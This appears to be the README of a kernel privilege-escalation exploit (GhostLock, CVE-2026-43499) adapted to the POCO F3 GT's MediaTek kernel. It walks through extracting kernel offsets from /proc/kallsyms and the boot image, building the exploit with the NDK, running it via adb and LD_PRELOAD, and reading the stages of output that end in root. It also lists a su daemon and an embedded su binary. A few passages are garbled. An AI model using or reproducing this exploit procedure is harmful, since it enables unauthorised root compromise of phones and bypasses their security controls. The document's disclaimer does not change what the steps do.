
GhostLock (CVE-2026-43499) exploit for POCO F3 GT (aresin) — MediaTek Dimensity 1200, Linux 4.14.186 ARM64 kernel privilege escalation via futex PI chain manipulation
Data-only physmap overwrite exploit for MediaTek Dimensity 1200 (MT6893).
Kernel: 4.14.186-android13 / MIUI V14.0.4.0.TKJCNXM.
| Condition | Status | Description |
|---|---|---|
| Kernel version range | ✅ | 4.14.186 is within the 2.6.39 ~ 7.0.4 range |
| CONFIG_FUTEX_PI | ✅ | Enabled (y) |
| CONFIG_RT_MUTEXES | ✅ | Enabled (y) |
| Architecture | ✅ | aarch64 |
| CONFIG_PREEMPT | ✅ | Enabled (y) |
| CONFIG_RANDOMIZE_KSTACK | ❓ | Needs confirmation (4.14 may not support it) |
# 在设备上运行提取脚本
adb push tools/extract_offsets.sh /data/local/tmp/
adb shell sh /data/local/tmp/extract_offsets.sh
adb pull /data/local/tmp/ghostlock_offsets.txt
If you have root (Magisk), you can extract directly from /proc/kallsyms:
adb shell su -c "cat /proc/kallsyms | grep -E 'init_task|init_cred|entry_task|__per_cpu_offset|root_task_group|selinux_enforcing'"
# 1. 获取 boot.img
adb shell "ls /dev/block/by-name/boot"
adb shell "dd if=/dev/block/by-name/boot of=/data/local/tmp/boot.img"
adb pull /data/local/tmp/boot.img
# 2. 用 magiskboot 解包
magiskboot unpack boot.img
# 产物: kernel (压缩的 vmlinux)
# 3. 解压 vmlinux
magiskboot decompress kernel vmlinux.elf
# 4. 用 pahole 提取结构体偏移
pahole --structs=rt_mutex_waiter vmlinux.elf
pahole --structs=task_struct vmlinux.elf | grep -A2 -E "usage|prio|normal_prio|pi_lock|pi_waiters|pi_top_task|pi_blocked_on|cred|real_cred|task_group"
vmlinux.elf in Ghidrart_mutex_waiter and task_struct structsFill the extracted offsets into all 0xTODO placeholders in target.h.
Key offset reference table:
# 需要 Android NDK r27+
export NDK_ROOT=/path/to/android-ndk-r27
# 或使用 Android Studio 中的 NDK
export NDK_ROOT=$HOME/Library/Android/sdk/ndk/27.0.12077973
# 编译
make preload TARGET_HEADER=target.h
# 产物: build/bin/preload.so
# 推送到设备
adb push build/bin/preload.so /data/local/tmp/
adb push build/bin/ghostlock_aresin /data/local/tmp/ 2>/dev/null || true
# 运行
adb shell LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin
# 或用 Shizuku
# 在 Shizuku 中执行: LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin
rt_mutex_waiter struct differs:
plist_node instead of rb_nodedeadline / ww_ctx fieldstask_struct layout differs:
pi_blocked_on, pi_lock, etc. in 4.14.x differ from 6.1.xuclamp-related fields may not exist in 4.14.xKASLR implementation differs:
Android 13 vs 14 security differences:
/proc/self/pagemap access restrictions may differAfter filling in offsets, cross-verify with Ghidra:
rt_mutex_waiter structtarget.hghostlock-aresin/
├── README.md # 本文件
├── Makefile # 编译脚本
├── target.h # 目标设备偏移定义 (需要填写)
├── src/ # 源码
│ ├── main.c # 主利用逻辑
│ ├── util.c # 工具函数
│ ├── slide.c # KASLR 泄漏
│ ├── fops.c # 文件操作
│ ├── pipe.c # pipe 相关
│ ├── preload.c # LD_PRELOAD 入口
│ ├── su_daemon.c # su 守护进程
│ ├── su_blob.S # su 二进制嵌入
│ ├── standalone.c # 独立运行
│ ├── common.h # 公共定义
│ └── offset.h # 偏移计算
├── tools/
│ └── extract_offsets.sh # 偏移提取脚本
└── build/
├── bin/ # 编译产物
└── embed/ # 嵌入文件
For research/educational purposes only. Use at your own risk.
Original PoC: NebuSec/CyberMeowfia → IonStack/CVE-2026-43499/exploit/
Adapted for: POCO F3 GT (aresin) by ghostlock-aresin
| Field | Description | Extraction Method |
|---|
INIT_TASK | init_task address | /proc/kallsyms or Ghidra |
INIT_CRED | init_cred address | /proc/kallsyms or Ghidra |
WAITER_*_OFF | rt_mutex_waiter field offsets | pahole / Ghidra |
FAKE_TASK_*_OFF | task_struct field offsets | pahole / Ghidra |
TASK_CRED_OFF | cred pointer offset | pahole / Ghidra |
| Stage | Output | Description |
|---|
| Initialization | [*] GhostLock - aresin (MT6893 D1200) 4.14.186 | Device identified correctly |
| CPU pinning | [+] CPU0 pinned | Pinned to CPU0 |
| Address loading | [*] init_task @ 0xffffffc00xxxxxxx | Fixed LM address |
| Privilege check | [+] uid: xxxxx | Prints current uid |
| KASLR slide | [+] slide = 0 or slide = xxx | KASLR detection |
| Trigger privilege escalation | On success, uid becomes 0 | Root obtained |
| Failure | [-] ... + reboot | Kernel panic (vulnerability exists but offsets need adjustment) |